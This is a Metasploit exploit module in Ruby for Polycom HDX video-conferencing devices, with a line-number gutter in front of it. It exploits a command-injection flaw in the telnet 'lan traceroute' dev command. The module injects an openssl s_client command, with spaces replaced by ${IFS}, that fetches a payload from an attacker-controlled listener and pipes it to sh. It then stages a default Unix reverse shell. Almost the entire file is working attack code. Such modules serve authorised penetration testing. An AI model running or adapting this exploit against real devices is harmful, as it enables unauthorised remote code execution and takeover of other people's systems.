1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Polycom Shell HDX Series Traceroute Command Execution', 'Description' => %q{ Within Polycom command shell, a command execution flaw exists in lan traceroute, one of the dev commands, which allows for an attacker to execute arbitrary payloads with telnet or openssl. }, 'Author' => [ 'Mumbai', # 'staaldraad', # https://twitter.com/_staaldraad/ 'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass 'h00die <mike@shorebreaksecurity.com>' # stole the code, creds to them ], 'References' => [ ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/'] ], 'DisclosureDate' => 'Nov 12 2017', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [[ 'Automatic', {} ]], 'Payload' => { 'Space' => 8000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'} }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'DefaultTarget' => 0 )) register_options( [ Opt::RHOST(), Opt::RPORT(23), OptString.new('PASSWORD', [ false, "Password to access console interface if required."]), OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]), OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ]) ]) end def check connect Rex.sleep(1) res = sock.get_once disconnect if !res && !res.empty? return Exploit::CheckCode::Unknown elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service") end # # Obtain banner information # sock = connect Rex.sleep(2) banner = sock.get_once vprint_status("Received #{banner.length} bytes from service") vprint_line("#{banner}") if banner =~ /password/i print_status("Authentication enabled on device, authenticating with target...") if datastore['PASSWORD'].nil? print_error("#{peer} - Please supply a password to authenticate with") return end # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case. sock.put("#{datastore['PASSWORD']}\n") res = sock.get_once if res =~ /Polycom/ print_good("#{peer} - Authenticated successfully with target.") elsif res =~ /failed/ print_error("#{peer} - Invalid credentials for target.") return end elsif banner =~ /Polycom/ # praise jesus print_good("#{peer} - Device has no authentication, excellent!") end do_payload(sock) end def do_payload(sock) # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] cmd = "devcmds\nlan traceroute <code>openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh</code>\n" sock.put(cmd) if datastore['VERBOSE'] Rex.sleep(2) resp = sock.get_once vprint_status("Received #{resp.length} bytes in response") vprint_line(resp) end # Give time for our command to be queued and executed 1.upto(5) do Rex.sleep(1) break if session_created? end end def stage_final_payload(cli) print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") cli.put(payload.encoded + "\n") end def start_listener(ssl = false) comm = datastore['ListenerComm'] if comm == 'local' comm = ::Rex::Socket::Comm::Local else comm = nil end self.service = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['CBPORT'], 'SSL' => ssl, 'SSLCert' => datastore['SSLCert'], 'Comm'=> comm, 'Context' => { 'Msf'=> framework, 'MsfExploit' => self } ) self.service.on_client_connect_proc = proc { |client| stage_final_payload(client) } # Start the listening service self.service.start end # Shut down any running services def cleanup super if self.service print_status("Shutting down payload stager listener...") begin self.service.deref if self.service.is_a?(Rex::Service) if self.service.is_a?(Rex::Socket) self.service.close self.service.stop end self.service = nil rescue ::Exception end end end # Accessor for our TCP payload stager attr_accessor :service end |